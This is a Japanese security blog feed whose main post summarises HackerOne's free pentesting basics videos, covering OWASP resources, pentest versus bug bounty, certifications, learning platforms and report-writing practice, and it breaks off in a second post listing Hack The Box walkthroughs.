Security Index セキュリティやソフトウェアについてのあれこれ 2020-11-22T18:32:45+09:00 security_index Hatena::Blog hatenablog://blog/26006613395568870 Hacker Oneの無料のペンテスト基礎講座 まとめ ペンテスト・バグバウンティについて勉強していきたい人におすすめ hatenablog://entry/26006613627957318 2020-11-22T18:32:45+09:00 2020-11-22T18:32:45+09:00 HackerOneが公開しているペンテストの基礎講座の動画 PENTESTING BASICS VIDEO SERIES LAUNCHED ON HACKER101 のPart1~4を見たのでまとめました。 Hacker Oneの無料のペンテスト基礎講座part1 OWASP Top 10part2 ペンテストvsバグバウンティpart3 ペンテスト関連資料part4 レポート作成とベストプラクティスPentesting basics video series launched on Hacker101 https://t.co/TA3jjN0nJl— si🌤️ (@security_inde… <p>HackerOneが公開しているペンテストの基礎講座の動画 <a href="https://www.hackerone.com/blog/pentesting-basics-video-series-launched-hacker101">PENTESTING BASICS VIDEO SERIES LAUNCHED ON HACKER101</a> のPart1~4を見たのでまとめました。</p> <p><blockquote data-conversation="none" class="twitter-tweet" data-lang="ja"><p lang="ja" dir="ltr">Hacker Oneの無料のペンテスト基礎講座<br>part1 OWASP Top 10<br>part2 ペンテストvsバグバウンティ<br>part3 ペンテスト関連資料<br>part4 レポート作成とベストプラクティス<br>Pentesting basics video series launched on Hacker101 <a href="https://t.co/TA3jjN0nJl">https://t.co/TA3jjN0nJl</a></p>&mdash; si🌤️ (@security_index) <a href="https://twitter.com/security_index/status/1286467911528243200?ref_src=twsrc%5Etfw">2020年7月24日</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script> </p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200914/20200914212655.png" alt="f:id:security_index:20200914212655p:plain" title="" class="hatena-fotolife" itemprop="image"></span></p> <ul class="table-of-contents"> <li><a href="#PENTESTING-BASICS-VIDEO-SERIES-LAUNCHED-ON-HACKER101">PENTESTING BASICS VIDEO SERIES LAUNCHED ON HACKER101</a><ul> <li><a href="#Part1-A-Starters-Guide-to-Pentesting-with-OWASP">Part1 A Starters Guide to Pentesting with OWASP</a></li> <li><a href="#Part2-Pentesting-vs-Bug-Bounty-how-is-it-different-How-is-it-the-same">Part2 Pentesting vs Bug Bounty: how is it different? How is it the same?</a></li> <li><a href="#Part3-Pentesting-Resources">Part3 Pentesting Resources</a><ul> <li><a href="#Certification">Certification</a><ul> <li><a href="#eLearnSecurity-Junior-Penetration-Tester-eJPT">eLearnSecurity Junior Penetration Tester (eJPT)</a></li> <li><a href="#Offensive-Security-Certified-Professional-OSCP">Offensive Security Certified Professional (OSCP)</a></li> <li><a href="#SANS-GIAC-Penetration-Tester-GPEN">SANS GIAC Penetration Tester (GPEN)</a></li> </ul> </li> <li><a href="#Webアプリ向けのコース">Webアプリ向けのコース</a><ul> <li><a href="#eLearnSecurity-Web-Application-Penetration-Testing-WAPT">eLearnSecurity Web Application Penetration Testing (WAPT)</a></li> <li><a href="#SANS-SEC542-Web-App-Penetration-Testing-and-Ethical-Hacking">SANS SEC542: Web App Penetration Testing and Ethical Hacking</a></li> <li><a href="#Offensive-Security-Advanced-Web-Attacks-and-Exploitation-AWAE">Offensive Security Advanced Web Attacks and Exploitation (AWAE)</a></li> </ul> </li> <li><a href="#無料の学習リソース">無料の学習リソース</a><ul> <li><a href="#Hacker101">Hacker101</a></li> <li><a href="#PortSwigger-Web-Security-Academy">PortSwigger Web Security Academy</a></li> </ul> </li> <li><a href="#無料--少額の課金の学習リソース">無料 + 少額の課金の学習リソース</a><ul> <li><a href="#PentesterLab">PentesterLab</a></li> <li><a href="#TryHackMe">TryHackMe</a></li> <li><a href="#CyberSecLabs">CyberSecLabs</a></li> <li><a href="#HackTheBox">HackTheBox</a></li> </ul> </li> <li><a href="#その他">その他</a><ul> <li><a href="#OWASP-Vulnerable-Web-Applications-Directory">OWASP Vulnerable Web Applications Directory</a></li> </ul> </li> </ul> </li> <li><a href="#Part4-Pentest-Report-Writing-and-Best-Practices">Part4 Pentest Report Writing and Best Practices</a><ul> <li><a href="#ペンテストレポート">ペンテストレポート</a><ul> <li><a href="#概要">概要</a></li> <li><a href="#エグゼクティブサマリ">エグゼクティブサマリ</a></li> <li><a href="#セキュリティの長所短所">セキュリティの長所/短所</a></li> <li><a href="#脆弱性サマリー">脆弱性サマリー</a></li> <li><a href="#テクニカルファインディング">テクニカルファインディング</a></li> </ul> </li> <li><a href="#バグバウンティレポート">バグバウンティレポート</a></li> <li><a href="#ペンテストのベストプラクティス">ペンテストのベストプラクティス</a></li> </ul> </li> </ul> </li> <li><a href="#最後に">最後に</a></li> </ul> <h1 id="PENTESTING-BASICS-VIDEO-SERIES-LAUNCHED-ON-HACKER101">PENTESTING BASICS VIDEO SERIES LAUNCHED ON HACKER101</h1> <h2 id="Part1-A-Starters-Guide-to-Pentesting-with-OWASP">Part1 A Starters Guide to Pentesting with OWASP</h2> <p>内容としてはOWASP Top 10について各項目の簡単な説明とOWASP Web Security Testing Guideの説明がされています。Part 1に関しては特に目立った内容はなかったので簡単に紹介します。</p> <p>OWASP Top 10は日本語版も提供されていますので内容はこちらで確認した方がわかりやすいです。</p> <p><a href="https://owasp.org/www-pdf-archive/OWASP_Top_10-2017(ja).pdf">OWASPトップ10 2017日本語版</a></p> <p>次に<a href="https://owasp.org/www-project-web-security-testing-guide/">Web Security Testing Guide (WSTG</a>)について紹介されています。</p> <p>Release Versionsのタブから最新のものが確認できます。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200914/20200914220007.png" alt="f:id:security_index:20200914220007p:plain" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>現状だとVersion 4.1が最新で、全475ページととてもボリュームがあります。</p> <p>ペンテストを実施するときのチェックリストとして使いやすくExcelの形でまとめられたものも<a href="https://github.com/tanprathan/OWASP-Testing-Checklist">こちら</a>にあるので利用できます。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200915/20200915080847.png" alt="f:id:security_index:20200915080847p:plain" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>チェックリストの内容の詳細を確認したい時にInformation Gatheringの「OTG-INFO-001」のようなIDを使ってPDFを検索することで見つけることができます。</p> <p>OWASPではその他にもAPIセキュリティに特化した<a href="https://owasp.org/www-project-api-security/">OWASP API Security Top 10</a>やモバイルセキュリティの<a href="https://owasp.org/www-project-mobile-top-10/">OWASP Mobile Top 10</a>なども提供されています。</p> <p>また、有志でOWASP Mobile Security Testing Guideを日本語化したものもありました。</p> <p><a href="https://github.com/coky-t/owasp-mstg-ja">GitHub - coky-t/owasp-mstg-ja: unofficial Japanese translation of OWASP Mobile Security Testing Guide.</a></p> <h2 id="Part2-Pentesting-vs-Bug-Bounty-how-is-it-different-How-is-it-the-same">Part2 Pentesting vs Bug Bounty: how is it different? How is it the same?</h2> <p>Part2ではペンテストとバグバウンティの違いについて紹介されています。</p> <p>一番の違いはバグバウンティはインパクトを重要視するということ。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200915/20200915081253.png" alt="f:id:security_index:20200915081253p:plain" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>ペンテストでももちろんインパクトを気にするが、アプリケーション全体をカバーしたり、PCIなどのコンプライアンスの確認をしたりと依頼主のニーズを重要視する。</p> <p>またペンテストではバグバウンティでは対象とならないような小さな影響の脆弱性でも伝える。</p> <p>ここではOWASP Juice Shopを使ってユーザーの列挙やForgot Passwordの問題箇所の指摘、BurpSuiteでセキュアフラグの確認などが紹介されています。</p> <p>参考:<a href="https://security-index.info/entry/2019/11/10/123726">https://security-index.info/entry/2019/11/10/123726</a></p> <p>ペンテスターは</p> <ul> <li>古いソフトウェア</li> <li>セキュアではないメソッド</li> <li>平文通信</li> <li>暗号・プロトコル</li> <li>証明書の失効</li> </ul> <p>などの部分も確認します。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200915/20200915082310.png" alt="f:id:security_index:20200915082310p:plain" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>またテスト対象のスコープ(テスト対象のIPのレンジやDoSは実施していいのか、Injectionは実施していいのか)の確認、テスト前に合意した内容を確認するなど基本的なことかもしれないがとても重要。</p> <h2 id="Part3-Pentesting-Resources">Part3 Pentesting Resources</h2> <p>Part3ではペンテスターのための認定(Certification)にどんなものがあるのか、無償/有償の学習プラットフォームとしてどんなものがあるのかの紹介になっています。</p> <h3 id="Certification">Certification</h3> <h4 id="eLearnSecurity-Junior-Penetration-Tester-eJPT">eLearnSecurity Junior Penetration Tester (eJPT)</h4> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200915/20200915083759.png" alt="f:id:security_index:20200915083759p:plain" title="" class="hatena-fotolife" itemprop="image"></span></p> <p><a href="https://www.elearnsecurity.com/certification/ejpt/">eJPT Certification - eLearnSecurity</a></p> <p>ペンテスターになるための最初のステップとしておすすめ。</p> <p>あくまで基礎的な内容なので次のステップにいくためには<a href="https://www.elearnsecurity.com/course/penetration_testing/">Penetration Testing Professional (PTP)</a>のようなeLearningを受講することもできます。</p> <h4 id="Offensive-Security-Certified-Professional-OSCP">Offensive Security Certified Professional (OSCP)</h4> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200915/20200915085454.png" alt="f:id:security_index:20200915085454p:plain" title="" class="hatena-fotolife" itemprop="image"></span></p> <p><a href="https://www.offensive-security.com/pwk-oscp/">PWK and the OSCP Certification | Offensive Security</a></p> <p>最も有名なペンテスターの認定と言ってもいいくらい有名な認定の一つ。</p> <p>OSCP界隈でよく聞く言葉に「Try Harder」というのがありますが、これもOSCPがとても難易度が高いことを表していて、試験が24時間で用意されたマシンを実際に攻略していかなくてはならない。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200916/20200916084037.png" alt="f:id:security_index:20200916084037p:plain" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>とても難しいですが、とても良い認定です。</p> <h4 id="SANS-GIAC-Penetration-Tester-GPEN">SANS GIAC Penetration Tester (GPEN)</h4> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200916/20200916084248.png" alt="f:id:security_index:20200916084248p:plain" title="" class="hatena-fotolife" itemprop="image"></span></p> <p><a href="https://www.giac.org/certification/penetration-tester-gpen">GIAC Penetration Tester Certification | Cybersecurity Certification</a></p> <p>SANSは業界内でとても有名ですが、この試験は上記の試験とは異なり実際にマシンを攻略するといったものではないです。</p> <p>費用が高いのですが、SANSのトレーニングは業界のリーダーが常にアップデートされたものが提供されます。</p> <h3 id="Webアプリ向けのコース">Webアプリ向けのコース</h3> <p>Webアプリ向けのコースも3つほど紹介されています。</p> <h4 id="eLearnSecurity-Web-Application-Penetration-Testing-WAPT">eLearnSecurity Web Application Penetration Testing (WAPT)</h4> <p><a href="https://www.elearnsecurity.com/course/web_application_penetration_testing/">https://www.elearnsecurity.com/course/web_application_penetration_testing/</a></p> <h4 id="SANS-SEC542-Web-App-Penetration-Testing-and-Ethical-Hacking">SANS SEC542: Web App Penetration Testing and Ethical Hacking</h4> <p><a href="https://www.sans.org/cyber-security-courses/web-app-penetration-testing-ethical-hacking/">Web Application Penetration Testing Training | SANS SEC542</a></p> <p>SEC542は日本でもトレーニングを開催しているようです。</p> <p>(SANSのトレーニングは全てのコースが日本で開催されているわけではないです)</p> <p><a href="https://www.sans-japan.jp/annual_schedule">SANS年間スケジュール</a></p> <h4 id="Offensive-Security-Advanced-Web-Attacks-and-Exploitation-AWAE">Offensive Security Advanced Web Attacks and Exploitation (AWAE)</h4> <p><a href="https://www.offensive-security.com/awae-oswe/">AWAE and the OSWE Certification | Offensive Security</a></p> <p>OSCP同様にとても難しいコース。</p> <p>OSCPは24時間の試験でしたが、こちらは48時間の試験になっています。</p> <p>こちらもとても有名で業界内で認知されています。</p> <h3 id="無料の学習リソース">無料の学習リソース</h3> <p>上記のものは有料のものでしたが、無料で学習できるものもあります。</p> <h4 id="Hacker101">Hacker101</h4> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200916/20200916090257.png" alt="f:id:security_index:20200916090257p:plain" title="" class="hatena-fotolife" itemprop="image"></span></p> <p><a href="https://www.hacker101.com">Home | Hacker101</a></p> <p>HackerOneが提供している無料の学習リソース。</p> <p>ResourcesにFAQが用意されており、もし0からハッカー(ペンテスター)を目指すにはどうしたらいいのかなどについても書かれています。</p> <p>Hacker101ではVideo LessonsとCapture the Flagが用意されています。</p> <p>Video Lessonsでは、SQLインジェクション、XSS、XEEなどのWebアプリペンテストのための動画が多数用意されています。</p> <h4 id="PortSwigger-Web-Security-Academy">PortSwigger Web Security Academy</h4> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200916/20200916091140.png" alt="f:id:security_index:20200916091140p:plain" title="" class="hatena-fotolife" itemprop="image"></span></p> <p><a href="https://portswigger.net/web-security">Web Security Academy: Free Online Training from PortSwigger</a></p> <p>こちらもSQLインジェクション、XSS、CSRF、XEEなど幅広い情報があります。</p> <p>また、コースにLabが用意され、インタラクティブに学ぶことができます。</p> <h3 id="無料--少額の課金の学習リソース">無料 + 少額の課金の学習リソース</h3> <p>一部の機能を無料で使えて、課金することでフルアクセスできるタイプのものを紹介します。</p> <h4 id="PentesterLab">PentesterLab</h4> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200916/20200916092902.png" alt="f:id:security_index:20200916092902p:plain" title="" class="hatena-fotolife" itemprop="image"></span></p> <p><a href="https://pentesterlab.com/">PentesterLab: Learn Web Penetration Testing: The Right Way</a></p> <p>EXERCISEのCategory:Freeを選択することで無料のコースを選択できます。</p> <p>現在、無料のコースが24つありますが、Freeの場合は動画でのレクチャーなどは受けられず、テキスト形式の説明とエクササイズ用のISOファイルがダウンロードできるようです。</p> <p>Apache Struts S2-052 (CVE-2017-9805)やShellshock (CVE-2014-6271)などのコースも提供されています。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200917/20200917085830.png" alt="f:id:security_index:20200917085830p:plain" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>Pro版は月額$19.99で利用できます。</p> <h4 id="TryHackMe">TryHackMe</h4> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200917/20200917091339.png" alt="f:id:security_index:20200917091339p:plain" title="" class="hatena-fotolife" itemprop="image"></span></p> <p><a href="https://tryhackme.com/">TryHackMe | Learn Cybersecurity</a></p> <p>Linuxコマンドから丁寧にレクチャーがあるビギナーコースから、OSCPのためのコース、Webアプリのセキュリティのためのコースなど幅広くあります。</p> <p>TryHackMeではステップバイステップで課題を解いていき、最後にフラグを獲得するという形で進んでいくようです。</p> <p>この後紹介するCyberSecLabsやHackTheBoxと同様にOpenVPNでマシンに接続して、nmapやMetasploitを実際に利用して課題を解いていくため、実践的な技術が身に付くと思います。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200917/20200917210434.png" alt="f:id:security_index:20200917210434p:plain" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>Subscribeは月額$10で利用できます。</p> <h4 id="CyberSecLabs">CyberSecLabs</h4> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200917/20200917211034.png" alt="f:id:security_index:20200917211034p:plain" title="" class="hatena-fotolife" itemprop="image"></span></p> <p><a href="https://www.cyberseclabs.co.uk/">CyberSecLabs | Home</a></p> <p>HackerOneの動画では無料のコースはないがペンテストビギナーには良いサポートシステムがあると言っていたような気がしますが、無料のコースもありました。</p> <p>Beginner Labの2つ、Challenge Labの2つ、CTF (Crypto,OSINT)が無料で利用することができます。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200918/20200918205746.png" alt="f:id:security_index:20200918205746p:plain" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>LabのWalkthroughがOffice Video WalkthroughとしてYouTubeで公開されています。</p> <p><a href="https://www.youtube.com/watch?v=PcV3tOw7f_k">CyberSecLabs - Office - Linux [Walkthrough]</a></p> <p>毎週木曜日に新しいLabが1つリリースされるようです。</p> <p>Subscribeは月額£10.00で利用できます。</p> <h4 id="HackTheBox">HackTheBox</h4> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200918/20200918210553.png" alt="f:id:security_index:20200918210553p:plain" title="" class="hatena-fotolife" itemprop="image"></span></p> <p><a href="https://www.hackthebox.eu/">Hack The Box :: Penetration Testing Labs</a></p> <p>動画の中でも最も有名なものだと言われているHackTheBox。</p> <p>HackTheBoxに関しては以下の記事で詳しく書いているので簡単に紹介します。</p> <p><a href="https://security-index.hatenablog.com/entry/2020/06/14/134334">Hack The Box&#x3092;&#x59CB;&#x3081;&#x3066;1&#x3064;root&#x3092;&#x53D6;&#x308B;&#x307E;&#x3067;&#x306E;&#x30E1;&#x30E2; - Security Index</a></p> <p><a href="https://security-index.hatenablog.com/entry/2020/06/21/221151">Hack The Box&#x3063;&#x3066;&#x4F55;&#xFF1F;&#x3068;&#x601D;&#x3063;&#x305F;&#x3089;&#x8AAD;&#x3080;&#x30D6;&#x30ED;&#x30B0; - Security Index</a></p> <p>まず登録して学習を始める前にInvite Codeを見つけ出すというちょっとした課題をクリアしないといけません。</p> <p>登録できれば無料でもActive Machinesと呼ばれる新しいマシン20台(うち5台が難易度がEasy)を使って学習することができます。</p> <p>過去に公開されたRetired Machinesなどを利用するためにはVIP会員(月額£10.00)になる必要があります。</p> <p>Retired Machinesに関してはVIP会員であれば公式のWalkthroughが提供されますし、攻略した人たちによるWalkthroughも公開されています。</p> <p>英語のWalkthroughがとても多いですが、日本語のものも結構あります。</p> <p><a href="https://security-index.hatenablog.com/entry/2020/08/30/163229">Hack The Box &#x65E5;&#x672C;&#x8A9E; Walkthrough/Writeup &#x307E;&#x3068;&#x3081; - Security Index</a></p> <h3 id="その他">その他</h3> <h4 id="OWASP-Vulnerable-Web-Applications-Directory">OWASP Vulnerable Web Applications Directory</h4> <p><a href="https://owasp.org/www-project-vulnerable-web-applications-directory/">OWASP Vulnerable Web Applications Directory</a></p> <p>脆弱なWebアプリケーションがまとめられています。</p> <p>具体的には<a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop</a>のようなOWASP Top 10の脆弱性を含むようなセキュリティの学習用のWebアプリケーションがまとめられています。</p> <p>Offline / Online / VM-ISOと分類されてまとめられており、Offlineのものであれば手元で環境構築してセキュリティのテスト/学習ができます。</p> <p>またOWASP Juice ShopであればHerokuを使って簡単にセットアップできますし、公式のチュートリアルがあるので初心者でもチャレンジしやすいようになっています。</p> <h2 id="Part4-Pentest-Report-Writing-and-Best-Practices">Part4 Pentest Report Writing and Best Practices</h2> <p>Part4では実際のペンテストレポートをもとにペンテストレポートの書き方について紹介されています。</p> <p>企業で脆弱性診断を依頼したことがある人は似たようなものを見たことがあるかもですが、そうでない人はレポートがどんなものか知らない人も多いと思うので気になる部分だと思います。</p> <h3 id="ペンテストレポート">ペンテストレポート</h3> <h4 id="概要">概要</h4> <p><a href="https://csrc.nist.gov/publications/detail/sp/800-115/final">NIST SP 800–115</a>というセキュリティテストのガイドをもとにPlanning, Discovery, Attack, Reportingというステップで行い、今回行った外部ペンテスト、内部ペンテスト、Webアプリペンテストの範囲やゴールについて記述されます。</p> <p>その他にも、見つけた脆弱性に関してはCVSSに基づいてスコア付けすることなど。 バグバウンティでは実際に影響が出るものがフォーカスされますが、ペンテストではインパクトの低いものでも報告されます。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20201122/20201122163647.png" alt="f:id:security_index:20201122163647p:plain" title="" class="hatena-fotolife" itemprop="image"></span></p> <h4 id="エグゼクティブサマリ">エグゼクティブサマリ</h4> <p>ここではいつ、どんなテストをして、どんな結果になったのかが簡潔に書かれています。</p> <h4 id="セキュリティの長所短所">セキュリティの長所/短所</h4> <p>ペンテストで見つかった長所・短所についてもレポートに含まれています。</p> <p>例えば、長所であれば2要素認証が有効化されている、強いパスワードポリシーが設定されているなど。 短所はセッション固定攻撃が起こりうる、DoSを引き起こす可能性があるなど。</p> <h4 id="脆弱性サマリー">脆弱性サマリー</h4> <p>見つかった脆弱性の深刻度と数、どんな脆弱性でどう対処すれば良いのか、最終的な評価がまとめられてページもあります。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20201122/20201122163732.png" alt="f:id:security_index:20201122163732p:plain" title="" class="hatena-fotolife" itemprop="image"></span></p> <h4 id="テクニカルファインディング">テクニカルファインディング</h4> <p>見つかった問題のより詳細な記述になります。 見つかった問題の詳細とリスク、どうやって見つけたのか、エビデンス、対処方法が項目として含まれています。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20201122/20201122164310.png" alt="f:id:security_index:20201122164310p:plain" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>弱い暗号スイートが使われている、動作しているサーバー情報(IISなど)がヘッダーに含まれている、などはバグバウンティでは対象とはならないのですが、ペンテストでは深刻度は低いが指摘事項として含めます。</p> <h3 id="バグバウンティレポート">バグバウンティレポート</h3> <p>ペンテストのレポートと比較してみるためにバグバウンティのレポートも確認します。</p> <p>スターバックスのXSSの脆弱性の<a href="https://hackerone.com/reports/438240">レポート</a>を例に見てみます。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20201122/20201122165506.png" alt="f:id:security_index:20201122165506p:plain" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>書かれている内容としてはXSSがあること、どのURLが影響を受けるのか、再現方法、エビデンスのスクリーンショット、修正方法とインパクトがそれぞれ1行で記述されています。</p> <p>ペンテストレポートとの大きな違いは、バグバウンティは発見者が何をやったのかのテクニカルレポートのみになっている点です。 ペンテストレポートでは、小さいな問題も含めて、マネージャに説明する必要があるのでそのための資料となっています。</p> <h3 id="ペンテストのベストプラクティス">ペンテストのベストプラクティス</h3> <ul> <li>顧客にステータスのアップデートを知らせる</li> <li>何か問題を見つけたらすぐに顧客に知らせる</li> <li>顧客にテストに使っているIPアドレスを知らせる</li> <li>プロフェッショナルとして仕事をする</li> <li>テストの制限範囲の確認と都度確認する</li> </ul> <p>顧客の環境にテストを行うので、テストの開始・終了の連絡、IPアドレスも知らせてもし何か影響があった場合にわかるようにする、テスト範囲外へテストをしてしまって顧客の環境に影響を出さないようにするなど、顧客とのコミュニケーションを適切に行ってペンテストを行うことが重要です。</p> <h1 id="最後に">最後に</h1> <p>Part3に書いたように多くの無料/少額で利用できる学習リソースがあるので活用していきたいですね!</p> <p>こういった海外のサービスがほとんどですが、最近ではFlatt Securityが<a href="https://flatt.tech/learning_platform/">Flatt Security Learning Platform</a>というクラウド型学習プラットフォームを提供開始したようです。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20201122/20201122175437.png" alt="f:id:security_index:20201122175437p:plain" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>現在は、個人向けではなく企業向けのようですが国産のセキュリティ学習サービスが利用できるようになると学習しやすくて良さそうです!</p> <hr /> <p><a href="https://amzn.to/3pOheS5">ホワイトハッカー入門</a></p> <p><a href="https://twitter.com/security_index">Twitter (@security_index) </a></p> security_index Hack The Box 日本語 Walkthrough/Writeup まとめ hatenablog://entry/26006613621328233 2020-08-30T16:32:29+09:00 2020-11-29T15:46:58+09:00 Hack The Boxの日本語のWalkthrough/Writeupをまとめてみました! 英語のWalkthrough/Writeupは多くありますが日本語のものは比較的まだ数が少ないです。 Walkthroughを読まずに自分の力だけで攻略するのが理想ですが、私のような初心者ではまだ自分の力だけでは厳しいこともあります。 また、英語のWalkthroughをGoogle翻訳を使って読むこともできますが細かい部分がよくわからないことも... そんな自分のような人が苦労しないようにと日本語のWalkthrough/Writeupをまとめてみました。 そもそもHack The Boxって何?と… <p>Hack The Boxの日本語のWalkthrough/Writeupをまとめてみました!</p> <p>英語のWalkthrough/Writeupは多くありますが日本語のものは比較的まだ数が少ないです。</p> <p>Walkthroughを読まずに自分の力だけで攻略するのが理想ですが、私のような初心者ではまだ自分の力だけでは厳しいこともあります。</p> <p>また、英語のWalkthroughをGoogle翻訳を使って読むこともできますが細かい部分がよくわからないことも...</p> <p>そんな自分のような人が苦労しないようにと日本語のWalkthrough/Writeupをまとめてみました。</p> <p>そもそもHack The Boxって何?という人は以下の記事もどうぞ。</p> <p><a href="https://security-index.hatenablog.com/entry/2020/06/14/134334">Hack The Box&#x3092;&#x59CB;&#x3081;&#x3066;1&#x3064;root&#x3092;&#x53D6;&#x308B;&#x307E;&#x3067;&#x306E;&#x30E1;&#x30E2; - Security Index</a></p> <p><a href="https://security-index.hatenablog.com/entry/2020/06/21/221151">Hack The Box&#x3063;&#x3066;&#x4F55;&#xFF1F;&#x3068;&#x601D;&#x3063;&#x305F;&#x3089;&#x8AAD;&#x3080;&#x30D6;&#x30ED;&#x30B0; - Security Index</a></p> <p>Hack The Boxに挑戦する前に事前に勉強したいという人向けはこちら。</p> <p><a href="https://security-index.hatenablog.com/entry/2020/06/28/215115">&#x30B5;&#x30A4;&#x30D0;&#x30FC;&#x30BB;&#x30AD;&#x30E5;&#x30EA;&#x30C6;&#x30A3; &#x30EC;&#x30C3;&#x30C9;&#x30C1;&#x30FC;&#x30E0;&#x5B9F;&#x8DF5;&#x30AC;&#x30A4;&#x30C9; &#x305D;&#x306E;1 - Security Index</a></p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200829/20200829182355.png" alt="f:id:security_index:20200829182355p:plain" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>最後におまけとして今回のまとめを作るために作成したGoogle スプレットシートのリンクも公開してますのでもし良かったら見てみてください。</p> <ul class="table-of-contents"> <li><a href="#WalkthroughWriteup">Walkthrough/Writeup</a><ul> <li><a href="#EASY">EASY</a><ul> <li><a href="#Linux">Linux</a><ul> <li><a href="#Traceback">Traceback</a></li> <li><a href="#Lame">Lame</a></li> <li><a href="#Beep">Beep</a></li> <li><a href="#Bank">Bank</a></li> <li><a href="#Blocky">Blocky</a></li> <li><a href="#Mirai">Mirai</a></li> <li><a href="#Shocker">Shocker</a></li> <li><a href="#Bashed">Bashed</a></li> <li><a href="#Nibbles">Nibbles</a></li> <li><a href="#Valentine">Valentine</a></li> <li><a href="#Curling">Curling</a></li> <li><a href="#Irked">Irked</a></li> <li><a href="#Teacher">Teacher</a></li> <li><a href="#Help">Help</a></li> <li><a href="#FriendZone">FriendZone</a></li> <li><a href="#SwagShop">SwagShop</a></li> </ul> </li> <li><a href="#Window">Window</a><ul> <li><a href="#Legacy">Legacy</a></li> <li><a href="#Devel">Devel</a></li> <li><a href="#Optimum">Optimum</a></li> <li><a href="#Arctic">Arctic</a></li> <li><a href="#Grandpa">Grandpa</a></li> <li><a href="#Granny">Granny</a></li> <li><a href="#Blue">Blue</a></li> <li><a href="#Jerry">Jerry</a></li> <li><a href="#Active">Active</a></li> <li><a href="#Access">Access</a></li> <li><a href="#Netmon">Netmon</a></li> <li><a href="#Forest">Forest</a></li> <li><a href="#Traverxec">Traverxec</a></li> <li><a href="#Sauna">Sauna</a></li> <li><a href="#Remote">Remote</a></li> <li><a href="#ServMon">ServMon</a></li> <li><a href="#Buff">Buff</a></li> </ul> </li> <li><a href="#FreeBSD">FreeBSD</a><ul> <li><a href="#Sense">Sense</a></li> </ul> </li> </ul> </li> <li><a href="#MEDIUM">MEDIUM</a><ul> <li><a href="#Linux-1">Linux</a><ul> <li><a href="#Magic">Magic</a></li> <li><a href="#Popcorn">Popcorn</a></li> <li><a href="#Tenten">Tenten</a></li> <li><a href="#Cronos">Cronos</a></li> <li><a href="#SolidState">SolidState</a></li> <li><a href="#Celestial">Celestial</a></li> <li><a href="#DevOops">DevOops</a></li> </ul> </li> <li><a href="#Windows">Windows</a><ul> <li><a href="#Bastard">Bastard</a></li> <li><a href="#Chatterbox">Chatterbox</a></li> <li><a href="#Resolute">Resolute</a></li> </ul> </li> <li><a href="#FreeBSD-1">FreeBSD</a><ul> <li><a href="#Poison">Poison</a></li> <li><a href="#Luke">Luke</a></li> </ul> </li> </ul> </li> </ul> </li> <li><a href="#最後に">最後に</a><ul> <li><a href="#Google-スプレットシート">Google スプレットシート</a></li> </ul> </li> </ul> <h1 id="WalkthroughWriteup">Walkthrough/Writeup</h1> <h2 id="EASY">EASY</h2> <h3 id="Linux">Linux</h3> <h4 id="Traceback">Traceback</h4> <p><a 